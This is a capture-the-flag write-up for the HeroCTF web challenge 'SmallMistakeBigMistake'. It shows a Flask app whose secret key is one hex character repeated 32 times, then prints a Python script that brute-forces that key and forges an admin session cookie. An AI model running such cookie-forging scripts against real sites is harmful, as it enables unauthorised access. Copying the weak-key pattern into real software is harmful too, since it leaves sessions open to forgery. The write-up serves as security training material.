HeroCTF SmallMistakeBigMistake Writeup

CHALLENGE DESCRIPTION

The website developer made a small mistake in the code of his website. Can you identify and exploit it to extract the flag?

Format : Hero{flag}

Auteur : xanhacks

Opening the link we can see :

We have a main.py file we can download.

#!/usr/bin/env python
from flask import Flask, session, render_template

from string import hexdigits
from random import choice
from os import getenv


app = Flask(__name__)
app.secret_key = choice(hexdigits) * 32


@app.route("/", methods=["GET"])
def index():
    flag = "You are not admin !"
    if session and session["username"] == "admin":
        flag = getenv("FLAG")

    return render_template("index.html", flag=flag)

 
if __name__ == "__main__":
    app.run(host="0.0.0.0", port=int(getenv("PORT")))

The first thing that caught my eye was this :

def index():
    flag = "You are not admin !"
    if session and session["username"] == "admin":
        flag = getenv("FLAG")

    return render_template("index.html", flag=flag)

The flag will only be rendered if we have in our session a username with admin as a value, that is why we saw that annoying message on the home page.

Then i came across this line.

app.secret_key = choice(hexdigits) * 32

Flask uses the secret key to cryptographically sign session cookies, to see what that key might look like, I created this small script :

from string import hexdigits
from random import choice

secret_key = choice(hexdigits) * 32

print(secret_key)

Result

EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
99999999999999999999999999999999
00000000000000000000000000000000
dddddddddddddddddddddddddddddddd
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
cccccccccccccccccccccccccccccccc
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
77777777777777777777777777777777

After running this a couple of times you will see that it's kind of predictable.

As a result, we can easily brute-force this secret key and forge our session.

I did take some code from this repo noraj/flask-session-cookie-manager and now we have this exploit :

from string import hexdigits
from random import choice
from itsdangerous import base64_decode
import ast
from flask.sessions import SecureCookieSessionInterface
import requests


class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key

def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e

target = "https://smallbigmistake.web.heroctf.fr"


payload = '{"username":"admin"}'


while True:
    secret = choice(hexdigits) * 32
    cookies = encode(secret,payload)
    print("trying secret : {}".format(secret))
    response = requests.get(target, cookies={'session': cookies}) 
    if 'Hero{' in response.text:
        print("Flag Found ")
        print(response.text)
        break

Now we can simply run it

python3 brute.py

And we got the flag 🥳:

The secret key was 22222222222222222222222222222222, and right, this small mistake can lead to dangerous consequences.

That’s all! , Hopefully, you enjoyed it and learned something along the way.

If you would like to get in touch with me, you can find me on LinkedIn or Twitter.